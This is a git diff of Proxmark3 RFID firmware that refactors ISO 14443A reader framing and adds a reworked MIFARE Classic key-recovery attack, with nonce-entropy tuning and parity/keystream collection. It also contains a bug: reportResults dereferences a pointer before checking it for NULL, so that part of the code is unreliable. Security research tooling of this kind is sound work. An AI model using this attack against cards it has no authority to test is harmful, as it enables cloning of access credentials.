X-Git-Url: http://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/28afbd2bee49027d042030bfce07db2db8c7508b..401afb61c7890af1407f261aace14b0241a4e28a:/armsrc/iso14443a.c diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index ca7c3ba4..0a5512b4 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -993,7 +993,7 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) uint8_t response6[] = { 0x03, 0x3B, 0x00, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS ComputeCrc14443(CRC_14443_A, response6, 3, &response6[3], &response6[4]); - uint8_t *resp; + uint8_t *resp = NULL; int respLen; // Longest possible response will be 16 bytes + 2 CRC = 18 bytes @@ -1262,68 +1262,9 @@ static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wa } //----------------------------------------------------------------------------- -// Code a 7-bit command without parity bit -// This is especially for 0x26 and 0x52 (REQA and WUPA) +// Prepare reader command (in bits, support short frames) to send to FPGA //----------------------------------------------------------------------------- -void ShortFrameFromReader(const uint8_t bt) -{ - int j; - int last; - uint8_t b; - - ToSendReset(); - - // Start of Communication (Seq. Z) - ToSend[++ToSendMax] = SEC_Z; - last = 0; - - b = bt; - for(j = 0; j < 7; j++) { - if(b & 1) { - // Sequence X - ToSend[++ToSendMax] = SEC_X; - last = 1; - } else { - if(last == 0) { - // Sequence Z - ToSend[++ToSendMax] = SEC_Z; - } - else { - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - last = 0; - } - } - b >>= 1; - } - - // End of Communication - if(last == 0) { - // Sequence Z - ToSend[++ToSendMax] = SEC_Z; - } - else { - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - last = 0; - } - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - - // Just to be sure! - ToSend[++ToSendMax] = SEC_Y; - ToSend[++ToSendMax] = SEC_Y; - ToSend[++ToSendMax] = SEC_Y; - - // Convert from last character reference to length - ToSendMax++; -} - -//----------------------------------------------------------------------------- -// Prepare reader command to send to FPGA -// -//----------------------------------------------------------------------------- -void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) +void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwParity) { int i, j; int last; @@ -1335,12 +1276,14 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) ToSend[++ToSendMax] = SEC_Z; last = 0; + size_t bytecount = nbytes(bits); // Generate send structure for the data bits - for (i = 0; i < len; i++) { + for (i = 0; i < bytecount; i++) { // Get the current byte to send b = cmd[i]; + size_t bitsleft = MIN((bits-(i*8)),8); - for (j = 0; j < 8; j++) { + for (j = 0; j < bitsleft; j++) { if (b & 1) { // Sequence X ToSend[++ToSendMax] = SEC_X; @@ -1358,19 +1301,22 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) b >>= 1; } - // Get the parity bit - if ((dwParity >> i) & 0x01) { - // Sequence X - ToSend[++ToSendMax] = SEC_X; - last = 1; - } else { - if (last == 0) { - // Sequence Z - ToSend[++ToSendMax] = SEC_Z; + // Only transmit (last) parity bit if we transmitted a complete byte + if (j == 8) { + // Get the parity bit + if ((dwParity >> i) & 0x01) { + // Sequence X + ToSend[++ToSendMax] = SEC_X; + last = 1; } else { - // Sequence Y - ToSend[++ToSendMax] = SEC_Y; - last = 0; + if (last == 0) { + // Sequence Z + ToSend[++ToSendMax] = SEC_Z; + } else { + // Sequence Y + ToSend[++ToSendMax] = SEC_Y; + last = 0; + } } } } @@ -1396,6 +1342,14 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) ToSendMax++; } +//----------------------------------------------------------------------------- +// Prepare reader command to send to FPGA +//----------------------------------------------------------------------------- +void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) +{ + CodeIso14443aBitsAsReaderPar(cmd,len*8,dwParity); +} + //----------------------------------------------------------------------------- // Wait for commands from reader // Stop when button is pressed (return 1) or field was gone (return 2) @@ -1593,43 +1547,33 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int } } -void ReaderTransmitShort(const uint8_t* bt) +void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par) { int wait = 0; int samples = 0; - - ShortFrameFromReader(*bt); - - // Select the card - TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); - - // Store reader command in buffer - if (tracing) LogTrace(bt,1,0,GetParity(bt,1),TRUE); -} - -void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par) -{ - int wait = 0; - int samples = 0; - + // This is tied to other size changes // uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024; - CodeIso14443aAsReaderPar(frame,len,par); - + CodeIso14443aBitsAsReaderPar(frame,bits,par); + // Select the card TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); if(trigger) LED_A_ON(); - + // Store reader command in buffer - if (tracing) LogTrace(frame,len,0,par,TRUE); + if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE); } +void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par) +{ + ReaderTransmitBitsPar(frame,len*8,par); +} void ReaderTransmit(uint8_t* frame, int len) { // Generate parity and redirect - ReaderTransmitPar(frame,len,GetParity(frame,len)); + ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len)); } int ReaderReceive(uint8_t* receivedAnswer) @@ -1655,48 +1599,47 @@ int ReaderReceivePar(uint8_t* receivedAnswer, uint32_t * parptr) * fills the uid pointer unless NULL * fills resp_data unless NULL */ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, uint32_t* cuid_ptr) { - uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP - uint8_t sel_all[] = { 0x93,0x20 }; - uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0 - uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes + uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP + uint8_t sel_all[] = { 0x93,0x20 }; + uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0 + uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes byte_t uid_resp[4]; size_t uid_resp_len; - uint8_t sak = 0x04; // cascade uid - int cascade_level = 0; - int len; + uint8_t sak = 0x04; // cascade uid + int cascade_level = 0; + int len; - // Broadcast for a card, WUPA (0x52) will force response from all cards in the field - ReaderTransmitShort(wupa); - // Receive the ATQA - if(!ReaderReceive(resp)) return 0; + // Broadcast for a card, WUPA (0x52) will force response from all cards in the field + ReaderTransmitBitsPar(wupa,7,0); + // Receive the ATQA + if(!ReaderReceive(resp)) return 0; // Dbprintf("atqa: %02x %02x",resp[0],resp[1]); - if(p_hi14a_card) { - memcpy(p_hi14a_card->atqa, resp, 2); + if(p_hi14a_card) { + memcpy(p_hi14a_card->atqa, resp, 2); p_hi14a_card->uidlen = 0; memset(p_hi14a_card->uid,0,10); } // clear uid if (uid_ptr) { - memset(uid_ptr,0,10); + memset(uid_ptr,0,8); } - // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in - // which case we need to make a cascade 2 request and select - this is a long UID - // While the UID is not complete, the 3nd bit (from the right) is set in the SAK. - for(; sak & 0x04; cascade_level++) - { - // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) - sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; + // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in + // which case we need to make a cascade 2 request and select - this is a long UID + // While the UID is not complete, the 3nd bit (from the right) is set in the SAK. + for(; sak & 0x04; cascade_level++) { + // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) + sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; - // SELECT_ALL - ReaderTransmit(sel_all,sizeof(sel_all)); - if (!ReaderReceive(resp)) return 0; + // SELECT_ALL + ReaderTransmit(sel_all,sizeof(sel_all)); + if (!ReaderReceive(resp)) return 0; - // First backup the current uid + // First backup the current uid memcpy(uid_resp,resp,4); uid_resp_len = 4; // Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]); @@ -1706,20 +1649,20 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u *cuid_ptr = bytes_to_num(uid_resp, 4); } - // Construct SELECT UID command + // Construct SELECT UID command memcpy(sel_uid+2,resp,5); - AppendCrc14443a(sel_uid,7); - ReaderTransmit(sel_uid,sizeof(sel_uid)); + AppendCrc14443a(sel_uid,7); + ReaderTransmit(sel_uid,sizeof(sel_uid)); - // Receive the SAK - if (!ReaderReceive(resp)) return 0; - sak = resp[0]; + // Receive the SAK + if (!ReaderReceive(resp)) return 0; + sak = resp[0]; // Test if more parts of the uid are comming if ((sak & 0x04) && uid_resp[0] == 0x88) { // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of: // http://www.nxp.com/documents/application_note/AN10927.pdf - memcpy(uid_ptr, uid_ptr + 1, 3); + memcpy(uid_resp, uid_resp + 1, 3); uid_resp_len = 3; } @@ -1731,31 +1674,31 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len); p_hi14a_card->uidlen += uid_resp_len; } - } + } - if(p_hi14a_card) { - p_hi14a_card->sak = sak; - p_hi14a_card->ats_len = 0; - } + if(p_hi14a_card) { + p_hi14a_card->sak = sak; + p_hi14a_card->ats_len = 0; + } - if( (sak & 0x20) == 0) { - return 2; // non iso14443a compliant tag + if( (sak & 0x20) == 0) { + return 2; // non iso14443a compliant tag } - // Request for answer to select + // Request for answer to select AppendCrc14443a(rats, 2); ReaderTransmit(rats, sizeof(rats)); if (!(len = ReaderReceive(resp))) return 0; if(p_hi14a_card) { - memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats)); - p_hi14a_card->ats_len = len; - } + memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats)); + p_hi14a_card->ats_len = len; + } - // reset the PCB block number - iso14_pcb_blocknum = 0; - return 1; + // reset the PCB block number + iso14_pcb_blocknum = 0; + return 1; } void iso14443a_setup() { @@ -1868,18 +1811,220 @@ void ReaderIso14443a(UsbCommand * c) LEDsoff(); } +#define TEST_LENGTH 100 +typedef struct mftest{ + uint8_t nt[8]; + uint8_t count; +}mftest ; + +/** + *@brief Tunes the mifare attack settings. This method checks the nonce entropy when + *using a specified timeout. + *Different cards behave differently, some cards require up to a second to power down (and thus reset + *token generator), other cards are fine with 50 ms. + * + * @param time + * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to + *zero indicates a low entropy: the given timeout is sufficient to power down the card. + */ +int TuneMifare(int time) +{ + // Mifare AUTH + uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; + //uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes + + iso14443a_setup(); + int TIME1=time; + int TIME2=2000; + uint8_t uid[8]; + uint32_t cuid; + byte_t nt[4]; + Dbprintf("Tuning... testing a delay of %d ms",time); + + + mftest nt_values[TEST_LENGTH]; + int nt_size = 0; + int i = 0; + for(i = 0 ; i< 100 ; i++) + { + LED_C_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(TIME1); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + LED_C_ON(); + SpinDelayUs(TIME2); + if(!iso14443a_select_card(uid, NULL, &cuid)) continue; + + // Transmit MIFARE_CLASSIC_AUTH + ReaderTransmit(mf_auth, sizeof(mf_auth)); + + // Receive the (16 bit) "random" nonce + if (!ReaderReceive(receivedAnswer)) continue; + memcpy(nt, receivedAnswer, 4); + + //store it + int already_stored = 0; + for(int i = 0 ; i < nt_size && !already_stored; i++) + { + if( memcmp(nt, nt_values[i].nt, 4) == 0) + { + nt_values[i].count++; + already_stored = 1; + } + } + if(!already_stored) + { + mftest* ptr= &nt_values[nt_size++]; + //Clear it before use + memset(ptr, 0, sizeof(mftest)); + memcpy(ptr->nt, nt, 4); + ptr->count = 1; + } + + if(BUTTON_PRESS()) + { + Dbprintf("Tuning aborted prematurely"); + break; + } + } + /* + for(int i = 0 ; i < nt_size;i++){ + mftest x = nt_values[i]; + Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count); + } + */ + int result = nt_size *100 / i; + Dbprintf(" ... results for %d ms : %d %",time, result); + return result; +} + //----------------------------------------------------------------------------- // Read an ISO 14443a tag. Send out commands and store answers. // //----------------------------------------------------------------------------- +#define STATE_SIZE 100 +typedef struct AttackState{ + byte_t nt[4]; + //byte_t nt_attacked[4]; + byte_t par_list[8]; + byte_t ks_list[8]; + byte_t par; + byte_t par_low; + byte_t nt_diff; + uint8_t mf_nr_ar[8]; +} AttackState; + + +int continueAttack(AttackState* pState,uint8_t* receivedAnswer) +{ + + // Transmit reader nonce and reader answer + ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par); + + // Receive 4 bit answer + int len = ReaderReceive(receivedAnswer); + if (!len) + { + if (pState->nt_diff == 0) + { + pState->par++; + } else { + pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low; + } + return 2; + } + if(pState->nt_diff == 0) + { + pState->par_low = pState->par & 0x07; + } + //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4)); + //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; + //isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); + // + // if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue; + + //led_on = !led_on; + //if(led_on) LED_B_ON(); else LED_B_OFF(); + pState->par_list[pState->nt_diff] = pState->par; + pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05; + + // Test if the information is complete + if (pState->nt_diff == 0x07) { + return 0; + } + + pState->nt_diff = (pState->nt_diff + 1) & 0x07; + pState->mf_nr_ar[3] = pState->nt_diff << 5; + pState->par = pState->par_low; + return 1; +} + +void reportResults(uint8_t uid[8],AttackState *pState, int isOK) +{ + LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE); + LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE); + LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE); + + byte_t buf[48]; + memcpy(buf + 0, uid, 4); + if(pState != NULL) + { + memcpy(buf + 4, pState->nt, 4); + memcpy(buf + 8, pState->par_list, 8); + memcpy(buf + 16, pState->ks_list, 8); + } + + LED_B_ON(); + cmd_send(CMD_ACK,isOK,0,0,buf,48); + LED_B_OFF(); + + // Thats it... + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + tracing = TRUE; + + if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); +} + + + + void ReaderMifare(uint32_t parameter) { + /** + *First, we tune it. + **/ + int entropy = 100; + int time = 25; + entropy = TuneMifare(time); + + while(entropy > 50 && time < 2000){ + //Increase timeout, but never more than 500ms at a time + time = MIN(time*2, time+500); + entropy = TuneMifare(time); + } + + if(entropy > 50){ + Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy); + } + Dbprintf("Using power-down-time of %d ms, entropy %d", time, entropy); + + /** + *Allocate our state-table and initialize with zeroes + **/ + + + AttackState states[STATE_SIZE] ; + + + Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) ); + memset(states, 0, STATE_SIZE*sizeof(AttackState)); // Mifare AUTH uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes - traceLen = 0; + + traceLen = 0; tracing = false; iso14443a_setup(); @@ -1888,37 +2033,26 @@ void ReaderMifare(uint32_t parameter) LED_B_OFF(); LED_C_OFF(); - byte_t nt_diff = 0; LED_A_OFF(); - byte_t par = 0; - //byte_t par_mask = 0xff; - byte_t par_low = 0; - int led_on = TRUE; uint8_t uid[8]; uint32_t cuid; - tracing = FALSE; - byte_t nt[4] = {0,0,0,0}; - byte_t nt_attacked[4], nt_noattack[4]; - byte_t par_list[8] = {0,0,0,0,0,0,0,0}; - byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; - num_to_bytes(parameter, 4, nt_noattack); - int isOK = 0, isNULL = 0; - - while(TRUE) + byte_t nt_noattack[4]; + num_to_bytes(parameter, 4, nt_noattack); + byte_t nt[4]; + int nts_attacked= 0; + //Keeps track of progress (max value of nt_diff for our states) + int progress = 0; + int high_entropy_warning_issued = 0; + while(!BUTTON_PRESS()) { LED_C_OFF(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(50); + SpinDelay(time); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); LED_C_ON(); SpinDelay(2); - // Test if the action was cancelled - if(BUTTON_PRESS()) { - break; - } - if(!iso14443a_select_card(uid, NULL, &cuid)) continue; // Transmit MIFARE_CLASSIC_AUTH @@ -1926,76 +2060,80 @@ void ReaderMifare(uint32_t parameter) // Receive the (16 bit) "random" nonce if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt, receivedAnswer, 4); - - // Transmit reader nonce and reader answer - ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par); - - // Receive 4 bit answer - if (ReaderReceive(receivedAnswer)) - { - if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; - - isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); - if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue; - - if (nt_diff == 0) - { - LED_A_ON(); - memcpy(nt_attacked, nt, 4); - //par_mask = 0xf8; - par_low = par & 0x07; - } + memcpy(nt, receivedAnswer, 4); + + //Now we have the NT. Check if this NT is already under attack + AttackState* pState = NULL; + int i = 0; + for(i = 0 ; i < nts_attacked && pState == NULL; i++) + { + if( memcmp(nt, states[i].nt, 4) == 0) + { + //we have it + pState = &states[i]; + //Dbprintf("Existing state found (%d)", i); + } + } - led_on = !led_on; - if(led_on) LED_B_ON(); else LED_B_OFF(); - par_list[nt_diff] = par; - ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; + if(pState == NULL){ + if(nts_attacked < STATE_SIZE ) + { + //Initialize a new state + pState = &states[nts_attacked++]; + //Clear it before use + memset(pState, 0, sizeof(AttackState)); + memcpy(pState->nt, nt, 4); + i = nts_attacked; + //Dbprintf("New state created, nt="); + }else if(!high_entropy_warning_issued){ + /** + *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by + *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce + *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting + *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish. + */ + DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)"); + high_entropy_warning_issued = 1; + } + } - // Test if the information is complete - if (nt_diff == 0x07) { - isOK = 1; - break; - } - nt_diff = (nt_diff + 1) & 0x07; - mf_nr_ar[3] = nt_diff << 5; - par = par_low; - } else { - if (nt_diff == 0) - { - par++; - } else { - par = (((par >> 3) + 1) << 3) | par_low; - } - } - } - LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE); - LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE); - LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE); + if(pState == NULL) continue; - byte_t buf[48]; -// UsbCommand ack = {CMD_ACK, {isOK, 0, 0}}; - memcpy(buf + 0, uid, 4); - memcpy(buf + 4, nt, 4); - memcpy(buf + 8, par_list, 8); - memcpy(buf + 16, ks_list, 8); - - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,buf,48); -// UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); - LED_B_OFF(); + int result = continueAttack(pState, receivedAnswer); - // Thats it... - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); - tracing = TRUE; - - if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); + if(result == 1){ + //One state progressed another step + if(pState->nt_diff > progress) + { + progress = pState->nt_diff; + //Alert the user + Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked ); + } + //Dbprintf("State increased to %d in state %d", pState->nt_diff, i); + } + else if(result == 2){ + //Dbprintf("Continue attack no answer, par is now %d", pState->par); + } + else if(result == 0){ + //uint64_t par_list = bytes_to_num((uint8_t*)&pState->par_list, 8); + //uint64_t ks_list = bytes_to_num((uint8_t*)&pState->ks_list, 8); + //uint32_t xnt = bytes_to_num((uint8_t*)&pState->nt,4 ); + //uint32_t xuid = (uint32_t)bytes_to_num((uint8_t*)&uid, 4); + //Dbprintf("\n#nuid(%08x) nt(%08x) par(%016x) ks(%016x)",xuid,xnt,par_list,ks_list); + //Dbprintf("\n./nonce2key %08x %08x %016x %016x\n",xuid,xnt,par_list,ks_list); + //Dbprintf("Finished"); + reportResults(uid,pState,1); + return; + //memset(pState, 0, sizeof(AttackState)); + //memcpy(pState->nt, nt, 4); + //Dbprintf("State reset for state %d!", i); + //return; + } + } + reportResults(uid,NULL,0); } - - //----------------------------------------------------------------------------- // MIFARE 1K simulate. // @@ -2572,4 +2710,4 @@ done: Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.byteCnt=%x Uart.byteCntMax=%x", maxDataLen, Uart.state, Uart.byteCnt, Uart.byteCntMax); LEDsoff(); -} \ No newline at end of file +}